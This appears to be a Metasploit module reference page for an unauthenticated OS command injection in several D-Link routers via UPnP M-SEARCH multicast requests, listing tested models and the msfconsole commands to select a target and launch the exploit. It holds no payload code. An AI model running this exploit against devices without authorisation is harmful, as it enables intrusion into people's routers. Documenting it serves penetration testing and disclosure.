D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection



Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast requests. This module has been tested on DIR-300 and DIR-645 devices. Zachary Cutlip has initially reported the DIR-815 vulnerable. Probably there are other devices also affected.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/linux/upnp/dlink_upnp_msearch_exec
msf exploit(dlink_upnp_msearch_exec) > show targets
msf exploit(dlink_upnp_msearch_exec) > set TARGET < target-id >
msf exploit(dlink_upnp_msearch_exec) > show options
    ...show and set options...
msf exploit(dlink_upnp_msearch_exec) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
